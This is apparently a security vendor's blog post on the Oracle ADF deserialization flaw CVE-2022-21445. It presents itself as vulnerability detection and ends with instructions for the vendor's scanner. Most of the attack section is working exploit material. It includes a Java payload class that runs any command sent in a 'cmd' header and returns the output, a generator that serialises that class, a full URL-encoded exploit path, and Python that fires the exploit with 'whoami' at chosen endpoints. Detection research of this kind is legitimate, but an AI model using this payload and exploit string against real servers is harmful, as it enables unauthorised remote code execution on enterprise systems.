Wed 25 September 2024
Introduction
CVE-2022-21445 is actively exploited vulnerability in the wild till this day. Despite being discovered in 2022, this critical vulnerability in Oracle’s Application Development Framework (ADF) continues to pose a serious threat to enterprises. Attackers can exploit it to execute code remotely, with no interaction or privileges required, making it a highly sought-after target for cybercriminals even now.
Understanding the Impact of CVE-2022-21445 on Oracle ADF
At its core, CVE-2022-21445 is a textbook example of a deserialization vulnerability. The culprit? A seemingly innocuous class called org.apache.myfaces.trinidad.webapp.ResourceServlet
. This servlet, responsible for handling web resources, had a critical flaw: it blindly trusted and deserialized incoming data.
For those unfamiliar with the concept, deserialization is the process of converting a byte stream back into a usable object or data structure in a program. This typically occurs when data that has been serialized (converted into a format suitable for storage or transmission) is received and needs to be transformed back to its original form for processing. However, deserialization can introduce security risks, especially if the data being deserialized comes from an untrusted source, potentially allowing attackers to manipulate the object and execute harmful actions within the application.
Exploit Path for CVE-2022-21445: How Attackers Leverage RCE
To exploit this vulnerability, attackers crafted a special Java object that, when deserialized, would execute arbitrary commands on the server. The payload was then URL-encoded and sent as part of a GET request to a specific endpoint.
Here's a snippet of the exploit code that checks for vulnerable targets:
def accept(self, target: definitions.Target) -> bool:
"""Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
try:
req = requests.Request(
method=self.check_request.method,
url=target_endpoint,
headers=self.check_request.headers,
data=self.check_request.data,
).prepare()
resp = session.send(req, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException as e:
logging.info("Request Exception Occurred: %s", e)
return False
if "X-ORACLE-DMS-ECID" in resp.headers:
logging.info("X-ORACLE-DMS-ECID header found in the response")
return True
return False
This code checks for the presence of an X-ORACLE-DMS-ECID
header, which is commonly associated with Oracle Fusion Middleware products, including Oracle Application Development Framework (ADF). That's why this header is used to identify potential ADF targets.
The Payload: A Trojan Horse in Java
The heart of the exploit lies in its payload. Researchers created a LambdaIdentity
class that, when deserialized, would execute arbitrary commands. Here's a simplified version of what that might look like:
package com.tangosol.internal.util.invoke.lambda;
import com.tangosol.internal.util.invoke.AbstractRemotable;
public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
String cmd = req.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process exec;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
} else {
exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
}
res.getServletOutputStream().clearBuffer();
res.getServletOutputStream().writeStream(exec.getInputStream());
res.getServletOutputStream().flush();
res.getServletOutputStream().close();
res.flushBuffer();
}
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
When this class is deserialized on the target server, it executes whatever command the attacker has specified.
Detecting the Vulnerability
We developed a Python script to detect vulnerable systems. We identified specific endpoints to test against, focusing on common Oracle products:
CONTEXT_APP = ["/bicomposer", "/em"] # Testing against Oracle Business Intelligence and Oracle Enterprise Manager
The exploit path was generated using a custom Java script Main.java
that crafted a malicious encoded payload:
package org.example.miracle;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException {
RemoteConstructor remoteConstructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
);
String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
System.out.println(saa);
}
}
And here's the exploit path that uses that payload:
EXPLOIT_PATH = (
"/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
"-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
"-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
"-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
"-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
"%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
"%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
"-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
"-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
"-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
"-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
"%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
"-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
"%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
"-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
"-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
"%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
"-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
"-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
"-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
"-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
"-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
"-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
"%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
"-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
"%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
"%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
"%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
"-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
"-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
"-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
"-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)
The detection script sends a crafted request to potential targets and checks for signs of successful exploitation. Here's a snippet of the detection logic:
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.
Args: target: Target to scan
Returns: List of identified vulnerabilities. """
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
vulnerabilities: list[definitions.Vulnerability] = []
for context in CONTEXT_APP:
exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)
try:
exploit_req = requests.Request(
method="GET",
url=exploit_endpoint,
headers={"cmd": "whoami"},
).prepare()
exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)
if exploit_resp.status_code == 200:
response_text = exploit_resp.text.lower()
if any(
user in response_text
for user in ["root", "nt authority\\system"]
):
logging.info(
f"Potential RCE vulnerability detected at {exploit_endpoint}"
)
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)
break # Stop checking other contexts if vulnerability is found
except requests_exceptions.RequestException as e:
logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")
return vulnerabilities
How It Works
The script begins by initiating a session with the target, which allows for efficient management of requests and responses. It then crafts a GET
request directed at a specific endpoint, embedding a command
in the headers to probe the system. Upon receiving a 200 OK
status, the script analyzes the response for signs of successful command execution, such as the presence of root
or SYSTEM
in the response body. If a remote code execution (RCE) vulnerability is detected, the script logs the event and appends the identified vulnerability to a list for further action.
Testing for CVE-2022-21445 Using the OXO Tool
If you’re concerned your instance might be vulnerable, follow these steps to run a test using the OXO tool. OXO provides a straightforward way to scan and detect this vulnerability. Here’s how you can get started:
- Install OXO via pip:
pip install -U ostorlab
- Install the asteroid agent from the OXO agent store:
oxo agent install agent/ostorlab/asteroid
- Run the scan using the asteroid agent with the following command:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.